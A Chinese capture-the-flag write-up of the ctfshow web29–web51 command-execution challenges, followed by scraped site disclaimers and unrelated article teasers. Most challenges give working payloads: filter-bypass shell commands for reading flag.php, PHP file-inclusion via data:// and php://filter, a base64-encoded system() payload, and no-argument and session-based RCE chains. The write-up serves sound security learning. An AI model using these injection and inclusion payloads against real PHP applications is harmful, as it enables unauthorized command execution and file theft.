Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

Ctfshow 命令执行 web29

pregmatch是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))/i忽略大小写

可以利用system来间接执行系统命令

flag采用f*绕过,或者mv fl?g.php 1.txt修改文件名,或者cat 反引号ls反引号

linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html

img

img

img

Ctfshow 命令执行 web30

多了对system和php的过滤

*绕过和passthru

img

img

Ctfshow 命令执行 web31

过滤flag system php cat sort shell . 空格 '

过滤了空格,可以使用%09替代;也可以使用{$IFS}或者$IFS$1

传参如下:

?c=passthru("tac%09fla*");

img

Ctfshow 命令执行 web32

过滤flag system php cat sort shell . 空格 ' 反引号 echo

之前的方法都没有用了。无所谓,文件包含会出手。

https://www.cnblogs.com/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

img

img

Ctfshow 命令执行 web33

又加了("的过滤,没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

img

此外,这里日志包含也是可行的。

Ctfshow 命令执行 web34

好的这下:也被过滤了。没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

img

Ctfshow 命令执行 web35

<=也被过滤了,没关系,文件包含还能出手

Payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

img

Ctfshow 命令执行 web36

加了对/数字0-9的过滤,还是文件包含,一样的payload。

img

Ctfshow 命令执行 web37

好家伙直接给我文件包含了是吧

imgPayload: (采用了base64编码绕过过滤)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       //(<?php system("tac flag.php");?>)

img

Ctfshow 命令执行 web38

img

Payload不变。

img

Ctfshow 命令执行 web39

虽然强加了后缀,但是不影响。因为?>已经闭合PHP语句了。

?c=data://text/plain,<?php system("tac fla*.php");?>

imgimg

Ctfshow 命令执行 web40

img

过滤了很多东西。只有空格,分号,英文括号还可以用。

看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。

两种payload。

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

img

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

img

以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)

img

除了无参RCE,还有个利用session的方法。

payload:

?c=session_start();system(session_id());

session_id(PHPSESSID)就是要执行的命令。

image-20230816224146225

但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。

image-20230816224203469

Ctfshow 命令执行 web41

无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)

代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)

img

查看目录。

imgimg

Ctfshow 命令执行 web42

先看源码,一个新东西>/dev/null 2>&1

img

含义:

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。

> 代表重定向到哪里,例如:echo “123” > /home/123.txt

1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"

2 表示stderr标准错误

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

绕过方法就是在命令后面加截断命令 ; %0a%26(&) ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null就是执行了命令1命令2 1>/dev/null,虽然命令2被重定向了,但是命令1没有。

imgimg

Ctfshow 命令执行 web43

过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\'"

img

Payload:

?c=tac flag.php%26

img

Ctfshow 命令执行 web44

加了一个对flag的过滤,我们用转义符绕过。

image-20230816212559903

Payload:

?c=nl%20fl\ag.php||

Ctfshow 命令执行 web45

加了对空格的过滤,用%09代替。

image-20230816212400072

Payload:

?c=tac%09fla*||

Ctfshow 命令执行 web46

2023.8.16时隔半年,强迫症迫使我把基础给算完。

增加了对数字*$的过滤,空格可以用<>或者<或者%09代替(%09是URL编码,不是数字),过滤了通配符*但是?也不能用了,所以flag用转义符\或者''

image-20230816212144422

payload:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

发现一个奇怪的payload:这里通配符?又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<?不能同时用**,上面的payload改成c=tac%09fla?.php||就好啦

?c=awk%09'/f/'%09fla?.php||等价于?c=awk%09'/f/{print}'%09fla?.php||

img

确实能用,解释一下。这个payload就是输出flag.php文件中包含字符串f的行。

如果我们把f换成ctfshow,那就只输出flag了。

image-20230816221547448

参考文章:

https://blog.csdn.net/Dark_Tk/article/details/114844529

Ctfshow 命令执行 web47

又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tacnlawk

image-20230816224442763

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||

image-20230816224433234

Ctfshow 命令执行 web48

再多过滤了一些命令执行函数sed cut awk strings od curl反引号。但是没过滤我最喜欢的tacnl

image-20230816224524783

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816224653293

Ctfshow 命令执行 web49

多过滤了百分号%,对我的payload没影响,我空格是用<绕过的。

image-20230816224742781

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816224908486

Ctfshow 命令执行 web50

多过滤了\x09(水平制表符tab)和\x26(&),对我的payload没影响。

image-20230816224959029

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816225059165

Ctfshow 命令执行 web51

多过滤了tac,payload还有一个能用。

image-20230816225139704

payload不变:

?c=nl<fla''g.php||        //在源码里面

image-20230816225345794

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/69797.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BaseMapper的insert方法快速插入数据未提交问题

一、前言 今天测试一批日志数据插入数据库&#xff0c;发现通过BaseMapper的int insert(T entity);方法在大量数据进行插入的时候插入的数据变成了未提交。意思就是程序运行insert成功&#xff0c;但是数据库里却没有数据。当一条一条数据插入的时候却是可以的&#xff0c;循环…

【实战】十一、看板页面及任务组页面开发(一) —— React17+React Hook+TS4 最佳实践,仿 Jira 企业级项目(二十三)

文章目录 一、项目起航&#xff1a;项目初始化与配置二、React 与 Hook 应用&#xff1a;实现项目列表三、TS 应用&#xff1a;JS神助攻 - 强类型四、JWT、用户认证与异步请求五、CSS 其实很简单 - 用 CSS-in-JS 添加样式六、用户体验优化 - 加载中和错误状态处理七、Hook&…

docker 安装elasticsearch、kibana

下载es镜像 docker pull elasticsearch 启动es容器 docker run --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" -e ES_JAVA_OPTS"-Xms512m -Xmx512m" -d elasticsearch 验证es界面访问 ​​​​​http://节点ip:9200/ ​…

一、window配置微软商店中的Ubuntu,及错误解决方法

&#xff08;1&#xff09;首先&#xff0c;在微软商店中搜索“Ubuntu”&#xff0c;下载你喜欢的版本(此处) &#xff08;2&#xff09;设置适用于window的Linux子系统&#xff0c;跟着红色方框走 点击“确定”之后&#xff0c;会提示你重启电脑&#xff0c;按要求重启电脑即可…

LabVIEW对并行机器人结构进行建模仿真

LabVIEW对并行机器人结构进行建模仿真 为了对复杂机器人结构的数学模型进行建模、搜索、动画和验证&#xff0c;在工业机器人动态行为实验室中&#xff0c;设计并实现了具有五个自由度的单臂型机器人。在研究台上可以区分以下元素&#xff1a;带有直流电机和编码器的机器人;稳…

揭秘热门工作秘籍:ChatGPT大显身手!轻松提升工作效率的高效Prompt技巧曝光!

目录 01 背景 福利&#xff1a;文末有chat-gpt纯分享&#xff0c;无魔法&#xff0c;无限制 02 AI 可以帮助程序员做什么&#xff1f; 2.1 技术知识总结 2.2 拆解任务 2.3 阅读代码/优化代码 2.4 代码生成 2.5 生成单测 2.6 更多 AI 应用/插件 AIPRM Voice Control for Ch…

存算分离实践:构建轻量、云中立的大数据平台

今天我们将分享社区用户多点 DMALL 的案例。多点 DMALL 是亚洲领先的全渠道数字零售解决方案服务商&#xff0c;目前已与 380 家零售企业达成合作&#xff0c;覆盖 6 个国家和地区。 面对 B 端客户日益增长的企业数据&#xff0c;存算一体的架构显得力不从心。计算资源冗余浪费…

小白到运维工程师自学之路 第七十三集 (kubernetes应用部署)

一、安装部署 1、以Deployment YAML方式创建Nginx服务 这个yaml文件在网上可以下载 cat nginx-deployment.yaml apiVersion: apps/v1 #apiVersion是当前配置格式的版本 kind: Deployment #kind是要创建的资源类型&#xff0c;这里是Deploymnet metadata: #metadata是该资源…

PyTorch翻译官网教程-LANGUAGE MODELING WITH NN.TRANSFORMER AND TORCHTEXT

官网链接 Language Modeling with nn.Transformer and torchtext — PyTorch Tutorials 2.0.1cu117 documentation 使用 NN.TRANSFORMER 和 TORCHTEXT进行语言建模 这是一个关于训练模型使用nn.Transformer来预测序列中的下一个单词的教程。 PyTorch 1.2版本包含了一个基于论…

【注解使用】使用@Autowired后提示:Field injection is not recommended(Spring团队不推荐使用Field注入)

问题发生场景&#xff1a; 在使用 IDEA 开发 SpringBoot 项目时&#xff0c;在 Controller 类中使用注解 Autowired 注入一个依赖出现了警告提示&#xff0c;查看其他使用该注解的地方同样出现了警告提示。这是怎么回事&#xff1f;由于先去使用了SpringBoot并没有对Spring进行…

Linux基本知识及常用命令(超全面,超详细)

Linux系统是一种基于UNIX的开放源码的操作系统&#xff0c;本部分所叙述的Linux更多的是指Linux的内核&#xff0c;其主要职责是对底层硬件的管理控制&#xff0c;内核除对下层硬件进行管理还要对上层的应用提供接口。 接口既包括命令也包括相应的接口函数&#xff0c;命令可以…

【tool】快捷操作

最近在弄材料然后文件太深了&#xff0c;交流起来很不方便&#xff0c;做了记录 复制文件路径 复制文件路径步骤&#xff1a; 1、首先按住Shift 鼠标右键单击&#xff0c;弹出&#xff1a;复制为路径 2、快捷键黏贴路径&#xff0c;即可